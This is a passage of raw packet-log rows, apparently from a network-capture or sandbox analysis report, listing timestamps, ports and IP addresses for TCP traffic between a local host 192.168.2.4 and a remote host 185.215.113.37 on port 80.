Oct 13, 2024 11:54:13.811914921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811949015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811961889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811981916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812005997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812015057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812045097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812048912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812062979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812083006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812114954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812115908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812131882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812150002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812164068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812184095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812199116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812217951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.812242985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.812273979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900480986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900593042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900616884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900661945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900681973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900713921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900727034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900749922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900773048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900783062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900808096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900842905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900856972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900896072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900928974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900962114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.900971889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.900995016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901015997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901037931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901055098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901060104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901087999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901120901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901150942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901171923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901186943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901223898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901231050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901259899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901281118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901313066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901318073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901348114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901371002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901398897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901402950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901432991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901464939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901494026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901498079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901520967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901532888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901562929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901592970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901597023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901664019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901715994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901719093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901735067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901753902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901794910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901809931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901814938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901844978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901871920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901882887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901901960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901912928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901947021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901962996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.901973009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.901998043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902024984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902033091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902060986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902086020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902096033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902137041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902147055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902189016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902204990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902221918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902250051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902256012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902286053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902306080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902307987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902339935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902362108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902390003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902399063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902424097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902450085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902457952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902489901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902493954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902539015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902549028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902591944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902625084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902653933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902657986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902689934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902713060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902728081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902749062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902782917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902808905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902817011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902847052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902849913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902884007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902889013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902910948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902918100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902939081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902951956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.902976036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.902986050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903014898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903023005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903050900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903052092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903080940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903101921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903103113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903156042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903160095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903189898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903218031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903223991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903258085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903263092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903292894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903299093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903318882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903327942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903362989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903362989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903381109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903425932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903434038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903474092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903498888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903507948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903529882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903542042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903565884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903579950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903601885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903614044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903637886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903647900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903675079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903681993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903697014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903717041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903742075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903749943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903770924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903784990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903808117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903819084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903846025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903853893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903877020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903887987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903920889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903927088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903944016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903958082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903960943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903979063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.903979063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.903994083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904005051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904011965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904026985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904027939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904045105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904059887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904076099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904077053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904092073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904095888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904109955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904124975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904125929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904141903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904143095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904159069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904176950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904191971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904191971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904206991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904217005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904223919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904238939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904238939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904253960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904264927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904270887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904287100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904303074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904309988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904318094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904334068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904349089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904350996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904366970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904370070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904381990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904397964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904398918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904412985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904418945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904428959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904443979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904459000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904462099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904472113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.904504061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.904524088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.992938995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993026018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993057013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993082047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993115902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993140936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993141890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993199110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993235111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993259907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993268967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993313074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993319988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993354082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993371964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993381023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993428946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993463039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993490934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993494987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993531942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993534088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993558884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993568897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993590117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993607998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993629932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993639946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993669033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993674994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993709087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993714094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993726969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993760109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993801117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993812084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993822098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993846893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993880987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993907928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993913889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993942976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.993946075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993984938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.993993044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994007111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994031906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994081974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994087934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994116068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994148016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994173050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994183064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994232893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994242907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994270086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994286060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994322062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994337082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994358063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994379044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994410038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994415998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994467020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994471073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994501114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994527102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994550943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994555950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994606972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994610071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994641066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994662046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994673967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994698048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994709015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994731903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994743109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994761944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994776964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994798899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994810104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994827986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994843960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994868994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994875908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994906902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994910002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994925022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994945049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.994976044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.994998932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995012045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995033979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995090961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995093107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.995125055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.995150089 CEST	49730	80	192.168.2.4	185.215.113.37
